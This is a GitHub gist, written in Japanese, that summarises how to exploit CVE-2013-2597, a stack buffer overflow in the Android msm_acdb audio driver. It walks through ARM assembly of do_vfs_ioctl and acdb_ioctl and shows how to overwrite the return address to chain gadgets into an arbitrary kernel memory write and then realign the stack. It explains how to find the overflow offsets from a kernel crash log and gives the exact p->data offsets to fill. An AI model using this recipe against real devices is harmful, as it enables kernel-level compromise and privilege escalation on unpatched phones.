Create a gist now

Instantly share code, notes, and snippets.

What would you like to do?
Stack-based buffer overflow in acdb audio driver (CVE-2013-2597) msm_acdb攻略のまとめ
* 本来の流れ
do_vfs_ioctlはacdb_ioctlをコールし、(1)のコードでリターンする。
do_vfs_ioctl:
STMPW [SP], { R4-R9, LR }
...
BL acdb_ioctl
...
ADD SP, SP, #$44 // (2)
LDMUW [SP], { R4-R9, PC } // (1)
* 書き換え後の流れ
acdb_ioctlのリターンアドレスを変更し、アドレス書き換えを行い、
本来の(1)実行時と同じスタック位置に調整して終了させる。
* アドレス書き換え処理
acdb_ioctlのリターン処理は(3)となるので、スタック書き換えにより
R4からR11が自由な値に変更可能となる。今回は(4)のコードを使い、
R9のアドレスにR5の値を書き込ませる。
acdb_ioctl:
...
ADD SP, SP, #$84
LDMUW [SP], { R4-R11, PC } // (3)
STR R5, [R9] // (4)
LDMUW [SP], { R4-R10, PC } // (5)
* スタック位置の調整
アドレス書き換え処理の際に(5)が実行されるため、本来よりスタックが4*8バイト進む。
そのため(2)の処理よりその分を引いたコード(6)を実行させる。
ADD SP, SP, #$24 // (6)
LDMUW [SP], { R4-R9, PC }
* スタック書き換え位置
実際のスタック位置とp->dataの位置との関係は、環境依存のため微調整する。
始めはp->data[...]に値をセットせずに実行する。
脆弱性があればクラッシュするのでクラッシュログ(/proc/last_kmsg)よりPCを
確認する。
p->data[i]=iなので、この例ではPCは&p->data[0x9c]のアドレスの値となる。
例:
ACDB=> ACDB ioctl not found!
Unable to handle kernel paging request at virtual address 9f9e9d9c
pgd = df56c000
[9f9e9d9c] *pgd=00000000
Internal error: Oops: 80000005 [#1] PREEMPT SMP
Modules linked in:
CPU: 1 Tainted: G W (3.0.8+1.0.21100-02148-g79e6d0e #1)
PC is at 0x9f9e9d9c
LR is at acdb_ioctl+0x740/0x860
* スタックに書き込むのデータのセット
先ほど確認したPCを元にして値をセットする。
(*(unsigned int*)&p->data[0x80]) = value; //r5: PC - 4*7
(*(unsigned int*)&p->data[0x90]) = address; //r9: PC - 4*3
(*(unsigned int*)&p->data[0x9c]) = (4)のアドレス; //pc: PC
(*(unsigned int*)&p->data[0xbc]) = (6)のアドレス; //pc: PC + 4*8
* 関数do_vfs_ioctl、acdb_ioctlが終了時に復帰するレジスタはカーネル毎に異なるため
調整が必要となる。(6)の加算値も追加が必要となる場合がある。
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment